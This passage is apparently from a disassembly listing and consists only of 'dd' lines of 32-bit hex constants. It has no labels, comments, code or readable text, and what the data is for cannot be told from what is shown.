		dd 0BCD42B86h, 243ED89h, 0D6888A51h, 91AB1364h,	202BB718h
		dd 19D07A38h, 0B61960DCh, 0B61D99B0h, 0F58201B4h, 0F202682Dh
		dd 9EC40867h, 0C5F64460h, 82D5A418h, 3C19639h, 0E03480DBh
		dd 0AE2BB09h, 0A2318840h, 28290480h, 949C33D3h,	0C914DC38h
		dd 10C0100Dh, 850BF186h, 446FB7E8h, 5B1D1F40h, 0A443DD1h
		dd 417DD49Ch, 713A350Ch, 1282204h, 97414434h, 0B840DBCBh
		dd 4F96CF39h, 0C810CB4Ch, 7B6BC09Bh, 0F0143BBBh, 10FCDC47h
		dd 2A1E120Ch, 2801E582h, 0CCEB886Dh, 1CBC9B85h,	9E465Eh
		dd 44F7F402h, 5FFEEB3h,	0C54173E8h, 0C778DBB2h,	77E080BAh
		dd 71398EEh, 0A58B2DBEh, 1379C564h, 30F00484h, 72280F10h
		dd 28E66024h, 6A8BEE0h,	0BC5F6701h, 3822901h, 0BCF4AD02h
		dd 42736240h, 1616E6D9h, 4276C4Ah, 805D88B5h, 5748DAE0h
		dd 73CDC09h, 5804D34Ch,	72036094h, 8E84BCBBh, 0E220E098h
		dd 33B281FDh, 802F5FD8h, 0C1B69D10h, 0DDAE1667h, 12E46030h
		dd 280DCBFh, 0EF28F591h, 78E7F842h, 0CA6204C4h,	0D708A060h
		dd 4ABC049Bh, 2FC008DAh, 47E242A4h, 0C750609h, 4F582085h
		dd 2C4B3BEh, 87AC3065h,	0A07C7331h, 42B467Ch, 59BC42Ch
		dd 947214DDh, 703029B2h, 0F4C58DDh, 0BA8C5D02h,	0F07256B4h
		dd 0ABAE7501h, 0CE2807E0h, 2E3901CBh, 52EE3C17h, 0DCE3F99Bh
		dd 211DE9A8h, 0A14101F1h, 3087E70Fh, 0DCA448h, 5E54F64Dh
		dd 3BFD80DDh, 467C9CBCh, 2C160F29h, 0A7E4DCA3h,	48913h
		dd 5CACA9E3h, 8C9CBCh, 0C2916D56h, 3AE43E60h, 5C358628h
		dd 3342E324h, 48144B3Dh, 8C21E808h, 1280D600h, 0D896DCC1h
		dd 0C87D4E08h, 0FA0073E8h, 45FFF0A9h, 175771h, 0ED75CC3Bh
		dd 387720ECh, 54B795h, 0AD2697D6h, 67043E7h, 2B364105h
		dd 8484948Ah, 9C42988Bh, 0CC309EE2h, 9CA71CC8h,	454A5601h
		dd 88722CF0h, 0C32602B0h, 4C027C75h, 0FEC543E6h, 99465E90h
		dd 0A6286E01h, 0C823E17Fh, 90B7A885h, 0EB9A7Ch,	0DBCFA2C6h
		dd 1642204Fh, 9B9C8400h, 8C9747CDh, 168E7FF9h, 0C07069B7h
		dd 397508F4h, 0DFDEFC00h, 0BE024A0Fh, 129098D0h, 0A9FAAA01h
		dd 82305C50h, 0E0CA7435h, 0F0A2DB70h, 7812B76Ah, 9A5968D1h
		dd 29718C18h, 1C6E6300h, 0F009D3A9h, 3F7517DDh,	290608Fh
		dd 34D63F9h, 439CE8A0h,	7F8217B5h, 68B47805h, 2D3F84CAh
		dd 667C90h, 26C0D56Dh, 4BEF314Fh, 625CC9FFh, 24292284h
		dd 40E43486h, 9C81A116h, 64B5CB9h, 4FD14DA4h, 9C2850FFh
		dd 8C9CE8h, 0B891BAF8h,	427C6065h, 0F4F23B12h, 0E82CFC14h
		dd 0E7008CA0h, 0A1B639EBh, 0F9E34EB1h, 0A0A28423h, 2A19DB30h
		dd 94F156h, 0AE64EF70h,	0A005A26Dh, 0A4C4DA04h,	0A4E83579h
		dd 2C9CE80h, 0F1025467h, 0B49C30FFh, 0EADCC094h, 0B2BE80FAh
		dd 9B270C01h, 7E2B551Ch, 0C2BD1478h, 2881E30h, 5A718952h
		dd 0DCDCBE20h, 1920CC1Dh, 31EC3ACAh, 74433ED5h,	0BBBE9CE5h
		dd 97048AFBh, 82FA113Ch, 0E09BE5B1h, 909E58D0h,	30BA972Ch
		dd 9F591C71h, 1001B818h, 0A758E50Fh, 5C58F0ACh,	896800C3h
		dd 3C2CE27h, 0C9B88B75h, 9CFC8124h, 323113B8h, 0B7D76CF0h
		dd 9211FC1Dh, 2B48CB80h, 8701790Ch, 0F4750DAEh,	6C4533D4h
		dd 2E1F20F2h, 0A070C0C7h, 0BF8A5345h, 7A01DD71h, 76571B8Ch
		dd 0BAC03104h, 6EB05A63h, 1DFD3FF8h, 0DE418480h, 0C1CFC77h
		dd 0A2548897h, 0A4CA5BF4h, 13C099C8h, 26FF5DCh,	4C1FFC58h
		dd 1CC12AE7h, 473C0068h, 3EED0164h, 1D2C5557h, 0DE20C6AFh
		dd 0E891CA8Ch, 51431BF4h, 848205Eh, 1098D098h, 8B923F48h
		dd 0C006C844h, 0A6D840F0h, 149D4472h, 0C458A544h, 0B8236005h
		dd 931202FBh, 2016A1Bh,	8154A157h, 3A0521BAh, 942318h
		dd 0CEDE5A12h, 340BC14Bh, 5941BD3h, 0E4E0D0C4h,	0DDDB5EE3h
		dd 88880B18h, 0C0EC004h, 623A0305h, 0A355A575h,	0A4B08A90h
		dd 0E092D505h, 0C1C0AF34h, 0D1BE59B7h, 11E0074Dh, 855847EAh
		dd 2F98ADA1h, 564C11C7h, 5D991117h, 0FC443FA0h,	3CA3088Ah
		dd 0AE3021B2h, 0AC46180Bh, 2B1C6039h, 0AA6D450Bh, 853060B5h
		dd 0C5E44A82h, 3120E92Ch, 1C75F943h, 3202E46Dh,	8ADB2A82h
		dd 2D651CD2h, 0F080DD69h, 78D5DFF3h, 8808B43Ah,	7402FD96h
		dd 86E24E69h, 95218880h, 75ED3087h, 5DC7EFCCh, 79E471CBh
		dd 1351827h, 0F82241ACh, 0D080FC40h, 3CACF017h,	880C1F9Fh
		dd 7360B69Fh, 98FB54C8h, 0BE011070h, 0FC5C5009h, 1CF4904Ah
		dd 6A6D0B40h, 74093CB7h, 0B414CC05h, 0DB2503F4h, 60244DD0h
		dd 15D28239h, 6BF820B8h, 45E85C82h, 0F848A81Eh,	0B64392h
		dd 7E3212DBh, 18FA0874h, 4186D5F3h, 6300F80Bh, 99F0A7B9h
		dd 0B5068C4h, 2BA25F98h, 0B2B4A082h, 93D930D1h,	0B700E918h
		dd 0BBA27F25h, 2FE5A74Bh, 0E8906618h, 3B002ED4h, 1B9149B8h
		dd 0B40743ADh, 0A1465EDCh, 7C509F0Dh, 0C0CC6026h, 0D50CECBCh
		dd 5FE74995h, 7C6EB5h, 2EA2FCB1h, 0E2AE9DF8h, 0DC649C45h
		dd 6FA7A100h, 0C8DD8231h, 33CD3039h, 3D366D21h,	0F8E76700h
		dd 561A2454h, 0DF92D73h, 0A8F950E2h, 31182279h,	5B33AD00h
		dd 0C05EDBCBh, 0A67D093Ch, 901FB58Eh, 12809411h, 4533B23Ah
		dd 541CF103h, 0E02B6C06h, 4BAEF54Ah, 0AA508401h, 1734C023h
		dd 0FBD659AEh, 0E38F1F1Ch, 0BE4AE254h, 0DC0CF6D3h, 0E254CE02h
		dd 0F90A5C6Eh, 0A1803F68h, 9CEAF89Dh, 9701DA51h, 0FEF3658Bh
		dd 107BA9C2h, 0DB0534E4h, 0FC2744A5h, 0BD2680ECh, 7BB6328h
		dd 3CDE6C07h, 8EA96502h, 0C0078880h, 0DC8F4EAAh, 3C021C0Bh
		dd 0A69CD169h, 0C700DE7Ch, 0DF7A76F9h, 2DA2CEF3h, 0EC667D4Bh
		dd 0D0F47716h, 7C0518C2h, 0F8467478h, 4485B31h,	30086D1Bh
		dd 38CA6120h, 0F6A471F7h, 5D5926A9h, 92467408h,	0AC6E1300h
		dd 0DD75CCA0h, 44D40726h, 0F2A50E40h, 0AF611D8Bh, 148A80F8h
		dd 0CD98F497h, 0B79B2D00h, 864D0156h, 0EE083432h, 0BC34B8B8h
		dd 4E038C25h, 0FC2E4C73h, 3FF120DEh, 348A2C17h,	0FF68CC58h
		dd 5E80B466h, 0B00FA46h, 7CA70206h, 201281DFh, 0F4F6FAB2h
		dd 40D66D01h, 21708CFEh, 88344EA0h, 6CC0CEF9h, 0E184A757h
		dd 693CB19Fh, 280096D5h
		dd 0E84856F5h, 8C9DE83Ch, 0DC0BE0FCh, 82AADBD4h, 8291B880h
		dd 51DF1790h, 189D7988h, 43190928h, 3003FAFFh, 50026C24h
		dd 4EF82D44h, 91FC5E31h, 0B8E06548h, 75EC88h, 812D1D7Fh
		dd 338843F0h, 14649D00h, 0C04D48B8h, 0EBEA005Fh, 0ECABDC06h
		dd 0DD00E46Ch, 7067E027h, 1F590804h, 0C60755EAh, 1006EFD2h
		dd 1C610B0Ah, 7D08B645h, 70833EEh, 2D73208Eh, 78E61C00h
		dd 773CF104h, 51140398h, 5074AFAAh, 76BEF7C0h, 5971C503h
		dd 0AD441h, 0B826EB38h,	0D5904BADh, 87F00E0Ch, 0C023089Dh
		dd 0ADB04D21h, 0D7DA22Ah, 33C87500h, 4EE02004h,	15F006ACh
		dd 0A8EC64DDh, 5ECC5474h, 0A11EEh, 73B3CA47h, 6B5D2B48h
		dd 1083066h, 3F2D0021h,	13F778CAh, 753EBEBFh, 0E7EE03E5h
		dd 0C05F2EEFh, 0F86862EAh, 7484A8F2h, 0F69A0094h, 0AD840D14h
		dd 0AF560756h, 1C650294h, 1C7B7549h, 1C5D3107h,	55E0ECD1h
		dd 0F0C15E47h, 0F9AB06FAh, 48F41E95h, 175472ECh, 16013180h
		dd 5F2F20ACh, 498034D3h, 3395C8AAh, 19249229h, 7C210255h
		dd 0B105B626h, 7C223873h, 562F07h, 0DC46B3B6h, 19006954h
		dd 647C5CACh, 63EDBC77h, 0FC42E0F1h, 80803138h,	0FB4F1662h
		dd 7E17C46h, 6BEF4ADAh,	6965106Eh, 0E328CA77h, 0A94688C2h
		dd 431C5F02h, 3314B75h,	1C572B10h, 0C92CC38h, 39F8D3B9h
		dd 28360390h, 39E25596h, 57A3BC98h, 8CB30706h, 0A0160Eh
		dd 5976EC10h, 34D96FE2h, 77017890h, 3CEAC2C7h, 74245BEFh
		dd 0AF430079h, 1036E260h, 2E66DA0Bh, 217308h, 7AAF3B9Ah
		dd 7E6FD80Fh, 6D315A03h, 14F819C4h, 84F22968h, 21B1683Fh
		dd 500FD4B9h, 0FA41BBD0h, 720260E8h, 0E3849F4h,	0E9204870h
		dd 65C80F71h, 2F52F212h, 0F1A237Ch, 0DAFC06ACh,	708450F9h
		dd 0CA4B605Dh, 687323B7h, 0B831443Fh, 0F6110116h, 0E73C41CDh
		dd 769C302Ah, 6C1CA118h, 28EE0598h, 4630F04Fh, 0CA49025Bh
		dd 1C5873B5h, 0CA412F0Eh, 0DB730087h, 2B70F95h,	0A975BD02h
		dd 96005CE8h, 0A8F37068h, 1EC5FAECh, 0D34C3C50h, 0BC140FB8h
		dd 6B40E2Ah, 29FBD3B7h,	0DBC3BA00h, 826A771Eh, 5C1B03B5h
		dd 39A6E341h, 528C0CCh,	811873B9h, 67686ED4h, 40EA2BC3h
		dd 0AF4701FCh, 1856E264h, 3F9E8874h, 7990AF1Fh,	0F1E97A83h
		dd 0F6828F29h, 0F388A00Fh, 0C05E04A1h, 0D9DA6C60h, 3090CD31h
		dd 42023B46h, 2EE25FAFh, 99583494h, 2FC60001h, 7C1B0CE1h
		dd 0F0C01855h, 3920215Eh, 3FE63D02h, 4816D45Bh,	1FC82300h
		dd 0C00AB3F6h, 305780C0h, 0BB01E84Ch, 941D6985h, 9C401112h
		dd 3ADEA968h, 507CBF65h, 8C42848Ah, 66AF490Eh, 768851E2h
		dd 0AF41A080h, 1369869h, 875BF94Ah, 304DBE1Bh, 76FE3EE0h
		dd 8688A914h, 0EE8F0584h, 9005F137h, 0D840FDD3h, 723EB514h
		dd 7CECE350h, 25EEEF8h,	7146BAB6h, 34C0F9DCh, 0C57352DAh
		dd 0B0D5873Ch, 0E3A804Fh, 700D4C2Ch, 20897306h,	91056862h
		dd 0BD7E41Ah, 0D806884Ch, 45048C3Eh, 46E262AFh,	0F84AEC8Eh
		dd 18A391Fh, 368E7144h,	6C62568Fh, 0C33008F2h, 1D0E00F3h
		dd 6916A0C1h, 8C2679DBh, 3CAB445Eh, 509189D0h, 781FA7FEh
		dd 504BEAE3h, 0A07A8411h, 2C2BA094h, 0E573Ch, 74186D1Dh
		dd 0B10461CBh, 56BDFB7Ah, 2C82FCC4h, 0ADB6303Fh, 0C5904911h
		dd 4B802088h, 179ADAEh,	0B69E0026h, 0E26B946Ch,	0E52C9ACDh
		dd 424D052h, 44674h, 0AA27D897h, 255788Fh, 0CC98DE94h
		dd 0CCC75F32h, 0B2600544h, 0E20743D2h, 682E931Fh, 0C4886B15h
		dd 75C32AF4h, 0D8DA00C0h, 602FAC84h, 0E62C903Ch, 498398B7h
		dd 235DC76Fh, 44015680h, 3073B0CAh, 2A880218h, 5ECA003Ch
		dd 3A1E42C0h, 0D5473FAh, 480087A0h, 0C6906740h,	4DE8A175h
		dd 0A9027471h, 5C8DFB3Ch, 75BFF4A0h, 8A0316E6h,	0D358AA50h
		dd 68578844h, 0EA69C76Dh, 0C8DA607Bh, 0C35C014Eh, 33FEEDBCh
		dd 94512BF0h, 12DA7901h, 3529A77Ch, 12ED8860h, 26F395C3h
		dd 0B0466054h, 4A1C6602h, 84338375h, 1C5E3240h,	9C26EB99h
		dd 1880D48Ah, 8530158Eh, 0FA891D77h, 7670ECECh,	71002146h
		dd 18DE7CE3h, 3481210h,	0A814397Ch, 4722E43Eh, 0DAEB120Dh
		dd 23B42FC2h, 0B0AE3D6Eh, 43DE82ECh, 48472F02h,	33630264h
		dd 54D3DF88h, 4A9740Ah,	0EF0BFC8Ah, 4110A396h, 597800EBh
		dd 10F46D47h, 0BCA917CBh, 445C483Dh, 0E261AF08h, 416FC43Eh
		dd 23AF3C9Bh, 4473C9C1h, 85D70C1h, 83E85E59h, 0BAA477E6h
		dd 9FE40017h, 18900C21h, 58656D7Bh, 749BC3C9h, 4CB03081h
		dd 429DE4E5h, 0DBE45F50h, 218F258h, 0DE16C7F5h,	50ACA093h
		dd 0F6F79ABh, 3766A96Dh, 6EE0F2CCh, 2E074421h, 18FF5628h
		dd 814E0F49h, 1BE01156h, 55D06AB9h, 0EE786818h,	0F8F97649h
		dd 77D29D3h, 1808F1A4h,	95D2F85Ch, 0B9242240h, 8CB38605h
		dd 0FC0AC8B8h, 0E4838C5Ah, 21FF4CE1h, 0AC914570h, 461C6280h
		dd 448C6375h, 5A002E04h, 7521B31Ch, 79F5CCBCh, 0E003508Bh
		dd 35A71064h, 4D404218h, 882B979Ch, 8A0B6E23h, 0EC8082F4h
		dd 0F6930068h, 2F4A197Bh, 323443Ah, 0AAFCAD07h,	0D55FEF41h
		dd 2E825040h, 8AB801B3h, 60F6BDDh, 6D188357h, 0A10B7717h
		dd 2C2CC5E5h, 8C08BCh, 773EC50Eh, 58913696h, 0C6529504h
		dd 30C00156h, 8011D016h, 0CA06E248h, 8A70F95Ch,	40D1EB99h
		dd 0B7026836h, 0CD904AADh, 4C61D851h, 61D6ADAFh, 0DBE4B0E8h
		dd 0E9801457h, 0C064CC0Ah, 1C6460AEh, 73752748h, 30001416h
		dd 35FB1C5Ch, 1CFB5A5h,	742CAEFAh, 4084D081h, 0F14256C8h
		dd 6358B0A8h, 7D050973h, 0E5D908Bh, 823382Eh, 0FFE8F000h
		dd 226BF36h, 0D5BE401Fh, 889F5BE9h, 0F2802211h,	2F69E95Ah
		dd 6850F800h, 7358B786h, 7BC4AA1h, 0D0C8ECDCh, 5C3D0177h
		dd 0BC8C5648h, 58008C08h, 0B1E3BF6Ch, 26502384h, 19C77ACh
		dd 680D13EBh, 0DE90DCA0h, 44F4DF26h, 2422A417h,	91949755h
		dd 0C9678001h, 1A94F88h, 7394235Dh, 81648C81h, 0AC1C91D0h
		dd 0BC230BD4h, 0F83072A2h, 67F4FD64h, 0A9750CE4h, 375878E0h
		dd 154060B0h, 0E9E31250h, 88888BC2h, 432CC071h,	410924F6h
		dd 20556F5Ah, 0E1DF1750h, 276D3477h, 40DAC410h,	4C2696E4h
		dd 1E12BD46h, 0CC0E7FF7h, 0A157EB65h, 42B33778h, 49E116F0h
		dd 730948F0h, 7CC16471h, 0A8603905h, 0FF1E8C03h, 0CF4BA309h
		dd 0BE44822Dh, 9B4E02EEh, 3D468050h, 47ADB402h,	1C31B590h
		dd 0ADAC4910h, 0A50038FCh, 72EE6D50h, 9677D276h, 74465E9Ch
		dd 2A93DC04h, 324A808Bh, 83EA38E5h, 0CE01209Ch,	3A59715Dh
		dd 9B15048h, 9D9044ADh,	4680D045h, 0AF06ADA9h, 0F75C0098h
		dd 4D26BEA6h, 0EEF6DC16h, 68CA15FBh, 69C003C8h,	0F0E9B9h
		dd 0BCFB5BDFh, 5CEC5530h, 4A0424A4h, 6073B6CAh,	0E22EFE62h
		dd 40D7CA42h, 8188344Ch, 46439C0h, 1BB99FE2h, 0BBCAC4F0h
		dd 0C6F378D8h, 3C20A890h, 44C76068h, 0DBE46D4Ch, 0E8C1F09h
		dd 0BA0004FCh, 0F8E28494h, 0E5306DF2h, 90F45241h, 9400EF58h
		dd 8A9C7283h, 88004C4Ah, 440E5123h, 18753C5Bh, 7813DDC4h
		dd 98904BB4h, 6484AE50h, 78657D40h, 32E301B1h, 4D74FA31h
		dd 0E29C335Ah, 0F45C3020h, 6B2DE500h, 0C36C4D63h, 0FC380586h
		dd 9F5FBFF5h, 11A580ECh, 404CA976h, 1A7F897Ch, 31BC1413h
		dd 0E2A128D0h, 0FA320642h, 0C958E972h, 1CE464A5h, 67D2B560h
		dd 0AC89130Ch, 0BCFE707Eh
		dd 19FD0204h, 0FCC3FBEFh, 6FE2A104h, 20850981h,	0B256F408h
		dd 483041E8h, 0E26513AFh, 168CB5Eh, 45AF409Fh, 0BDC4D54Ch
		dd 0DADD0023h, 0A9736297h, 88C070C0h, 4CAD8461h, 0EDDE2416h
		dd 0ABF98004h, 0E7A967D8h, 490C6876h, 58613B29h, 19DF1215h
		dd 7EC03EECh, 16D5008Ch, 706CDC4Ch, 8816B7A6h, 2C421FD3h
		dd 5865C476h, 0AAE42EB0h, 0E11CDE18h, 46C1FE60h, 3AE0494Ah
		dd 60A98460h, 75B85809h, 509092AFh, 2002A302h, 802CA170h
		dd 145A89B8h, 0BC770A2Ah, 494403CDh, 0C880C8B5h, 0B547535Bh
		dd 0A6DC143Eh, 5F22F4A1h, 0C9878208h, 0B41E2D2Bh, 0D0301B45h
		dd 60048CAAh, 5375441Ch, 2CC070B2h, 0E1921C58h,	0ABDE0616h
		dd 0A1753C41h, 0FC407F28h, 0F674F87h, 0E95BD8FDh, 2FD0D096h
		dd 0F36F57DEh, 6C818230h, 7078D25Dh, 80CC9E63h,	0AB0B1F88h
		dd 944A0E08h, 1950880Fh, 0A83654A6h, 79D421E1h,	4D4B1E7Ch
		dd 5D3DF2C0h, 72F601h, 52B471AEh, 0D4D812C5h, 0DB800CBEh
		dd 7D0BCB45h, 82B50123h, 44101101h, 0AD2EF8DAh,	0D7DE380Ch
		dd 1313A014h, 41666879h, 55778A54h, 0C4D4340Dh,	0C0FD7528h
		dd 0B36BBF1Fh, 0AA50F107h, 349BD155h, 33C1DEC0h, 0E702F33Dh
		dd 40E92E5h, 0D91C5913h, 981804h, 709B6EA6h, 42679729h
		dd 7B21FF60h, 0F0E5BEA3h, 318C0091h, 6A29104Dh,	3A01DC2Ch
		dd 8E9F6322h, 82E27584h, 87EE7788h, 8C914BF0h, 0F89FF9F2h
		dd 38D10BE2h, 40127CA4h, 28FF62C7h, 8386005Dh, 0B069C55Ch
		dd 1CF0A475h, 0EE4238C0h, 4A5806E4h, 0C13C9A55h, 841387Bh
		dd 40957C30h, 0B0B8E435h, 7850402Ch, 890D597h, 9B494Fh
		dd 0FF0FCFC2h, 0C4B38424h, 4200CC7Bh, 0E3C87789h, 0D6169D9Fh
		dd 0E29C8C48h, 8D97F12h, 74B244C4h, 0C63002E2h,	0E6670F86h
		dd 4838F16Fh, 2300D2ABh, 0AC96FA7Ch, 3593C4Ah, 5F461B68h
		dd 0C0C649BAh, 887CDD00h, 315A7938h, 0D8545DB1h, 0FCA11D04h
		dd 0DE2CE058h, 3217D6F8h, 0ACC83D5Fh, 0C8EF007Ch, 0A79D4696h
		dd 0DA6016D3h, 4B4859D1h, 2C19458Ah, 8C09AC0Ch,	28380301h
		dd 0CE30E35Bh, 0F8765ECCh, 0D0FA5442h, 0E711007Ah, 0EE83FF7Fh
		dd 1D014090h, 0D5A715EAh, 10E9E247h, 1A202038h,	0FA261C98h
		dd 0FF7658C2h, 94019C18h, 0D9FB8023h, 0C52FE46Bh, 5D04B37h
		dd 8FFA8001h, 0B1DA105Fh, 845A1685h, 68CC8CF5h,	79F06D30h
		dd 27CEC551h, 0B423D4C7h, 0BAC8459Ah, 0D328A4CBh, 8A1D14F1h
		dd 65005F7Fh, 9BDF87E6h, 15ACA284h, 83019164h, 0B4062D6Eh
		dd 0C0888887h, 73B2CA46h, 0E0F44048h, 3CA3E2Ch,	452D1F95h
		dd 0A3D5A67Ah, 774A00D8h, 0D1CAD9DDh, 39F10588h, 0A391F04Dh
		dd 0D4CC84BCh, 88908B25h, 3491C271h, 0E10BF4D0h, 361B5D9Fh
		dd 0A0701354h, 0C8E8CE08h, 1AF8C009h, 0C2E841DAh, 64574A02h
		dd 59E6160Bh, 70C088A4h, 23F69101h, 8B142F17h, 0C00788CCh
		dd 416ADAAFh, 821A633Ch, 0FB796789h, 0FE14648Dh, 0A1EC63CDh
		dd 1DEBBC76h, 0C564F002h, 0A0238BFBh, 452517B4h, 1B820697h
		dd 0A06D5CA9h, 0D4BA8964h, 5804E485h, 8B56AE8Ah, 0C06EC824h
		dd 0D5E2632Ah, 0C822B14Fh, 0ADB3303Ch, 0CB904639h, 481F1CCBh
		dd 0CA507DABh, 98490037h, 532B4CEEh, 8CA8F342h,	44006CC2h
		dd 648EE592h, 571B219h,	0F2164102h, 3B3C4807h, 45ADB2C0h
		dd 80A54390h, 7ADAA47h,	0A5830762h, 10CD89C8h, 2F4250C2h
		dd 90225489h, 6E3005F2h, 8AFE00B5h, 102D9152h, 571CB8DAh
		dd 0B382763Fh, 0D1D3548Ch, 0F7428DFCh, 83DBC041h, 33AFB400h
		dd 7AE9E6BBh, 77C20B97h, 28424089h, 1F7924F9h, 39018B18h
		dd 0E826D95Dh, 0E0686C51h, 0E3F4E692h, 7B60FF24h, 237785Fh
		dd 59D08D7Eh, 1850C17Fh, 34935213h, 1C85C8Bh, 91935AC0h
		dd 2CBF72A8h, 898EA64h,	112D100Dh, 0F103700h, 0E2517E6h
		dd 408022Fh, 0F147105Ch, 7C342E41h, 7C69D46Eh, 8C883727h
		dd 42B38B04h, 0F4088C0Dh, 750CBF97h, 0C149F0EAh, 0C2EDF068h
		dd 58B7E441h, 77950F9h,	0E008518h, 1F0A5553h, 2435299Dh
		dd 10E47766h, 5B3F01EFh, 18B29475h, 0AFD10A4h, 9801A09h
		dd 0D41D78D0h, 75807611h, 182FCA26h, 0C552A00h,	0A2F9A97Fh
		dd 0F54130DFh, 0A339AEA1h, 821D1E3Ah, 0D445DA68h, 951C7AC1h
		dd 0C200A037h, 3013511h, 9B3017C1h, 81740467h, 68E40731h
		dd 0EF12AD27h, 0DC00565Ch, 0BC16E500h, 0A1F5D135h, 4989C80h
		dd 0B2CD506Ch, 3007F28Ch, 8BB8F7ABh, 30A32D01h,	70797450h
		dd 0E231F034h, 4154AD55h, 0F44E116Fh, 0F960D40Dh, 0D11AA891h
		dd 722500B7h, 0E538E13h, 5771957Ah, 1006E20Eh, 0EBDC4216h
		dd 9E6CC4BCh, 72465E80h, 0DD231501h, 2CB31AC3h,	2E8CD49Ch
		dd 0F5C14875h, 0C46C4B54h, 0AC0A24h, 0E91EC9Ah,	10C205A0h
		dd 6D715CD0h, 1BECC0B8h, 0D0E47053h, 0E8819C00h, 15E2B999h
		dd 0C07E7F8Ch, 0A175BAE0h, 0A0C063F8h, 80EBC9EAh, 106B6088h
		dd 6FF9BA42h, 385B2D2Ch, 21467Ch, 3A180489h, 2E2F2F9h
		dd 21BC0F4Bh, 44F214F1h, 0BCB4714Ch, 0EC1E8C23h, 101F1D55h
		dd 0D6E29040h, 9FF112E7h, 46387C1Fh, 0C8BBE300h, 71741C92h
		dd 11626C2Dh, 0EF0E1B8h, 0BC2EF0ECh, 0B88AC38h,	18C9331Dh
		dd 0C86B2FC2h, 3E470E00h, 0D357DF84h, 4B925209h, 0E478E543h
		dd 28996005h, 8E370708h, 0C7478857h, 0F97862C4h, 8F41D85Ch
		dd 24283FDEh, 16C41502h, 0B86A1EE1h, 0F47BD859h, 1F975560h
		dd 0C2564C00h, 75D2B790h, 0AC909FDDh, 8AE8A968h, 554F1A77h
		dd 48810CBh, 4138B6C0h,	71540236h, 0F5D79053h, 0E5FFA783h
		dd 0F8FEBFD1h, 80E9583Dh, 0A9577510h, 904ADEAEh, 42D6332Bh
		dd 21006C08h, 1DA94F96h, 0E80587h, 10FFEADDh, 72645B7Dh
		dd 0BD032E73h, 3164BD8h, 0FEF2A9F5h, 33373442h,	0DEAFA9A8h
		dd 70225246h, 0FA509730h, 0EB533E0h, 39F4ED26h,	0CD80AE3h
		dd 7BFD7007h, 0ECE05852h, 3E4FDADDh, 59037CE7h,	0C1804571h
		dd 22EE0AA0h, 923B0E7Bh, 55540332h, 0A6A76C0Dh,	18BE7868h
		dd 1158CE4Eh, 0C101AD74h, 2299DE3Eh, 998D5EAh, 0A5942170h
		dd 0DA9EC100h, 45637D12h, 2A8CE819h, 4674863Eh,	0A95D023Ch
		dd 1C7ADEB4h, 0A9559C00h, 0B6FA727Eh, 1DA1EF3h,	0A0120444h
		dd 0A689000Fh, 6F6FE286h, 0A900E0EFh, 0E6692DE0h, 23DA51Dh
		dd 3F1ED830h, 87AE0B18h, 74867932h, 136F082Ah, 1837E021h
		dd 146F46C1h, 8C2322EAh, 21816418h, 0DA76ACFEh,	8C182B60h
		dd 76E2AA9h, 16715EB5h,	0B6B85064h, 4B01B37Eh, 47047D72h
		dd 444B15E0h, 47C01688h, 3E8258Eh, 12715085h, 7802171Eh
		dd 16A37FB3h, 24EC8262h, 6394825Ch, 896480DAh, 0CF69429Bh
		dd 0BF855320h, 648C01F3h, 0D06C0CA5h, 8A072B67h, 160AE502h
		dd 7D658ACh, 3F81D0ECh,	0BAEAC164h, 0D818A002h,	87A3A46h
		dd 6ADEB2A9h, 9A4069C4h, 0E0A4A953h, 6697B314h,	0BF760484h
		dd 24984F55h, 3FC108AEh, 6CC4A1DEh, 0C1A69540h,	52197F73h
		dd 53406B15h, 0C11CB218h, 11E3DE43h, 0AA7D776Ah, 2057777h
		dd 7AB69B88h, 23688814h, 0C1AF0150h, 18A9DE40h,	0A796886Bh
		dd 0A15CC100h, 4B67939Ch, 54161D80h, 27B306B8h,	4607E058h
		dd 35C610BBh, 7C00489h,	1B1FB410h, 56470E12h, 2ED1085h
		dd 0A6E668C4h, 4004084Ch, 3A87AF18h, 0E02F1462h, 0AC041838h
		dd 0ADD12F0h, 7FF04050h, 83CD4C5h, 12FC3348h, 8059F4E4h
		dd 880F79F0h, 68BFC071h
		dd 25001829h, 720E3512h, 1CD4D686h, 0C1E0735Ah,	0E6A75550h
		dd 58C24E9h, 5918AF00h,	279A96Fh, 8996E67h, 2720F01Fh
		dd 3C0718A7h, 8E083557h, 0BC87005Bh, 0D67BF4h, 5E1EC1E5h
		dd 4C22CF51h, 128688C2h, 899C688Ch, 0A8838A7h, 0E9E0EB31h
		dd 0E57994EAh, 8C6FB870h, 0A0917E00h, 0BC7585E1h, 0D4F512F8h
		dd 0E0604B57h, 5ADA6801h, 2380222Ah, 0A9560135h, 0E42DEADh
		dd 0A94E9500h, 4C4F4A27h, 884DE005h, 248E78EAh,	0A0C06E88h
		dd 0F2D913h, 0AD7FDB94h, 65D3E872h, 88C88A0h, 8287D49h
		dd 8003DC63h, 0BE866DBDh, 0D6094C3Bh, 890244h, 2B6B8BA0h
		dd 0C2A4949h, 0B3015423h, 0C9DE44C1h, 9A886818h, 0B8D98ABh
		dd 1F9BDE51h, 0E204A800h, 20E915D8h, 48CA608h, 6F5818AEh
		dd 0FF63A1h, 18A62621h,	347AAF15h, 60966A24h, 0D019C40Dh
		dd 8038E807h, 0E6ABF29Dh, 0D3D60FDh, 0B319E769h, 46714E10h
		dd 0A0226DEh, 6A467430h, 56BDE300h, 2BD6DD89h, 12AFFD12h
		dd 3CE67E02h, 59C4A064h, 0CF7FF5h, 19360997h, 6A75C733h
		dd 9FFD8418h, 801308B8h, 6744CE5Ch, 0C1640051h,	3234929Ch
		dd 25001174h, 442622DDh, 44ABF80h, 0D69B0A54h, 0B2D48260h
		dd 554F1040h, 7CA4AA56h, 6F5C1809h, 0AC1CC1h, 0DC18AA2Ah
		dd 4F61B7Bh, 7E33A50Eh,	0D0792ABBh, 80E0CF14h, 9810567Ch
		dd 415100BCh, 0B952FB53h, 0F502D5ABh, 0D66382BEh, 86FC60C8h
		dd 3B468422h, 0B3A95C02h, 0D4C772DEh, 0A9809B1Ch, 0BFF8C60Ch
		dd 0F10F130Dh, 2488044Dh, 8BDC80FFh, 0E9064883h, 613DEC29h
		dd 722E0E39h, 0BC0279Fh, 973A52FDh, 0D2FA907Eh,	0A5462C90h
		dd 5718AD02h, 0FD31996Fh, 18A52510h, 1571620Fh,	0AE6B6766h
		dd 0DF03B02Ah, 7FCCC0Ah, 7E838788h, 0AB09C85Ch,	0B79C0E06h
		dd 5B55F840h, 3B354267h, 544C11F3h, 0D66C700Eh,	462A7A5h
		dd 35CB6ACh, 387DAF4h, 7B2FB539h, 58087EEEh, 93EB4h, 0F481C55h
